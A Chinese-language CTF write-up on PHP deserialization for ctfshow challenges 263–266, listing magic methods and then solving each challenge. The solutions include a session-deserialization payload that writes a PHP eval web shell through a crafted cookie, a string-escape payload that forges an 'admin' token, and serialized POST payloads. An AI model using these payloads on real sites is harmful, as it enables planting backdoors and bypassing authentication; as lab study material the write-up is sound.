一,可利用的魔术方法
1.__construct 构建对象时触发
2.__destruct 销毁对象时触发
3.serialize 序列化时触发
4.__unserialize 反序列化时触发
5.__wakeup 反序列化后触发
6.__tostring 对象被当作字符串时触发
7.__invoke 对象被当作函数时触发
8.__get 访问不存在/不可访问属性时触发
- __set(value) 给不存在/不可访问属性赋值时触发
10.__isset() 调用 isset($obj)时触发
11.__unset unset($obj)时触发
12.__call 调用不存在方法时触发
13.__callStatic 调用不存在静态方法时触发
14.__sleep serilize 时触发
15.__clone 克隆时触发
ctfshow 263
访问 www.zip 下载源码
inc.php:

index.php:

参考 php session 反序列化漏洞:https://www.freebuf.com/articles/web/324519.html
简单来说就是 session 的值会被序列化存储在指定文件,后面触发 session 又会将文件中的内容反序列化存储到$_SESSION 中,如果输入文件内容可控,存在危险方法就可以利用
1.index 文件中:
$_SESSION['limit']=base64_decode($_COOKIE['limit'])我们可以通过控制 cookie 的 limit 控制 session 文件的写入
$a = new User('1.php', '<?php eval($_POST["cmd"]) ?>');$a->setStatus('成功');echo base64_encode('|'.serialize($a));注意 php 模式默认格式是 name:| 反序列化 所以这里要拼接一个 |
现在我们控制的序列化内容已写入 session 对应的文件
访问 /in.php 触发 session,从 session 文件中将数据反序列化触发漏洞。成功写入 shell
访问 log-1.php
264 字符串逃逸
访问 message.php:

需要使得对象的 token 属性为 admin,但是构造函数中没有这个属性的初始化,通过对 t 属性构造完整的语句覆盖后面的 token 来骗过检测
echo serialize(new message(‘f’,‘m’,’“;s:5:“token”;s:5:“admin”;}’));
O:7:“message”:4:{s:4:“from”;s:1:“f”;s:3:“msg”;s:1:“m”;s:2:“to”;s:27:"";s:5:“token”;s:5:“admin”;}“;s:5:“token”;s:4:“user”;}
可以看到已经成功覆盖了对象原本的 token=user 属性,但是 to 对应的字符串的数量对不上
index,php:
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; }
字符串中的 loveU 会被换成 fuck,字符数量减少了 1,我们可以利用这个来瞒天过海,我们想要掩盖”;s:5:“token”;s:5:“admin”;}“是 to 中字符串的事实,这段字符串有 28 个字符,所以我们 再传 28 个 fuck,每个 fuck 变为 loveu 多了一个字符就刚好补上这个漏了最终 t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
265 地址引用

让 password 等于 token 的引用,这样两个的值就一样了
$a=new ctfshowAdmin(1,2);$a->password=&$a->token;echo serialize($a);输出:O:12:“ctfshowAdmin”:2:{s:5:“token”;i:1;s:8:“password”;R:2;}
数组/对象里同一个值被多次引用时,会用 R:/r: 表示引用之前出现过的那个值,后面的值表示 id,我们不去自己构造这个 R
266.

1.file_get_contents(“php://”),伪协议让 file_get_contents 能读取各种数据流,这里只读,指向 POST 请求的 body 部分,原封不动的读取,所以不能进行 url 编码
2.异常抛出后没有 catch 会导致直接终止程序,对象无法析构
POST:O:7:“Ctfshow”:2:{s:8:“username”;i:1;s:8:“password”;i:1;}